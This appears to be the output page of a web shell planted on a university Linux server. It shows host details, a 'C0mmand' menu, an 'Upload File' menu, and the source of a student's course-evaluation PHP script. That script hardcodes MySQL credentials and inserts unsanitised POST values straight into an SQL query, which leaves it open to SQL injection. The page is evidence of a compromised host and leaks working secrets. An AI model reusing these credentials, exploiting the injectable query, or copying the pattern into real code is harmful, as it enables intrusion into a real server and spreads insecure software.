Server IP : 172.16.15.8 / Your IP : 18.188.223.120 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vnlaughlin/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- evalform.php --> <?php $status = $_POST['status']; $course = $_POST['course']; $eval = $_POST['eval']; if($status == "fr") $status = "Freshman"; else if($status == "so") $status = "Sophomore"; else if($status == "ju") $status = "Junior"; else if($status == "se") $status = "Senior"; else $status = "NULL"; if (strlen($course) == 0) $course = "NULL"; $host = 'localhost'; $user = 'vnlaughlin'; $password = 'cs480'; $database = 'vnlaughlin'; $connect = mysqli_connect($host, $user, $password); $query = "create table EVALUATION (STATUS varchar(20), COURSE varchar(20), EVAL int)"; mysqli_query($connect, $query); $query2 = "insert into EVALUATION values ('$status', '$course', '$eval')"; mysqli_select_db($connect, $database); if(mysqli_query($connect, $query2)) { include("displaytable.php"); print "<HR></CENTER><FONT size=1><A HREF=evalform.html> Back to Evaluation Form </A><br><A HREF=projecthomepage.html> Back to Online Course Evaluation</A></FONT>"; } else { print "Update unsuccessful. <A HREF=evalform.html> Back to Evaluation Form</A>."; print "<HR></CENTER><FONT size=1><A HREF=projecthomepage.html> Back to Online Course Evaluation</A></FONT>"; } ?>